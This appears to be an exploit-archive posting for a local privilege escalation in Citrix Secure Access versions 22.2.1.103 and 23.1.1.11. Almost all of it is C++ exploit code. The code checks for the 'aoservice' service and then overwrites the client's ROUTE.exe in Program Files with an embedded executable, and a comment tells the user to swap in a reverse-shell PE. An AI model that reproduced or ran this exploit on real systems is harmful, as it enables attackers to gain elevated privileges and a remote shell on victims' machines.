Headline
Citrix 22.2.1.103 / 23.1.1.11 Local Privilege Escalation
Citrix versions 22.2.1.103 and 23.1.1.11 suffer from a local privilege escalation vulnerability.
//Discovered by:: TOUHAMI KASBAOUI - VXREMALWARE//Discover date : 25/03/2023//Reported to Citrix: 25/03/2023//Tested Version: 22.2.1.103, 23.1.1.11/Last version//Exploit: https://github.com/sqrtZeroKnowledge/Citrix_Secure_Access_LPE_0DAY#define UNICODE#define _UNICODE#include <Windows.h>#include <string>#include <iostream>#include <Windows.h>#include <iostream>using namespace std;enum Result{ unknown, serviceManager_AccessDenied, serviceManager_DatabaseDoesNotExist, service_AccessDenied, service_InvalidServiceManagerHandle, service_InvalidServiceName, service_DoesNotExist, service_Exist};Result ServiceExists(const std::wstring& serviceName){ Result r = unknown; SC_HANDLE manager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, GENERIC_READ); if (manager == NULL) { DWORD lastError = GetLastError(); if (lastError == ERROR_ACCESS_DENIED) return serviceManager_AccessDenied; else if (lastError == ERROR_DATABASE_DOES_NOT_EXIST) return serviceManager_DatabaseDoesNotExist; else return unknown; } SC_HANDLE service = OpenService(manager, serviceName.c_str(), GENERIC_READ); if (service == NULL) { DWORD error = GetLastError(); if (error == ERROR_ACCESS_DENIED) r = service_AccessDenied; else if (error == ERROR_INVALID_HANDLE) r = service_InvalidServiceManagerHandle; else if (error == ERROR_INVALID_NAME) r = service_InvalidServiceName; else if (error == ERROR_SERVICE_DOES_NOT_EXIST) r = service_DoesNotExist; else r = unknown; } else r = service_Exist; if (service != NULL) CloseServiceHandle(service); if (manager != NULL) CloseServiceHandle(manager); return r;}int main() { const uint8_t shellcode[7168] = { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; //You can set array bin of your reverse shell PE file here std::wstring serviceName = L"aoservice"; Result result = ServiceExists(serviceName); if (result == service_Exist) std::wcout << L"The service '" << serviceName << "' exists." << std::endl; else if (result == service_DoesNotExist) std::wcout << L"The service '" << serviceName << "' does not exist." << std::endl; else std::wcout << L"An error has occurred, and it could not be determined whether the service '" << serviceName << "' exists or not." << std::endl; HANDLE fileHandle = CreateFile(L"C:\\Program Files\\Citrix\\Secure Access Client\\ROUTE.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); cerr << "[*] Loading Malicious file into Citric Secure Access Installer \n"; if (fileHandle == INVALID_HANDLE_VALUE) { cerr << "Failed to create shellcode\n"; return 1; } DWORD bytesWritten; if (!WriteFile(fileHandle, shellcode, sizeof(shellcode), &bytesWritten, NULL)) { cerr << "Failed to write to file\n"; CloseHandle(fileHandle); return 1; } CloseHandle(fileHandle); cout << "Shellcode exported to Citrix Secure Access path \n"; return 0;}